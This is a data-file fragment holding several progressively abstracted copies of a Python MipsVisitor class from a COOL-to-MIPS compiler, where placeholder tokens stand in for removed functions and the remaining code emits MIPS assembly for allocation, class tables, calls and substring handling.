"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
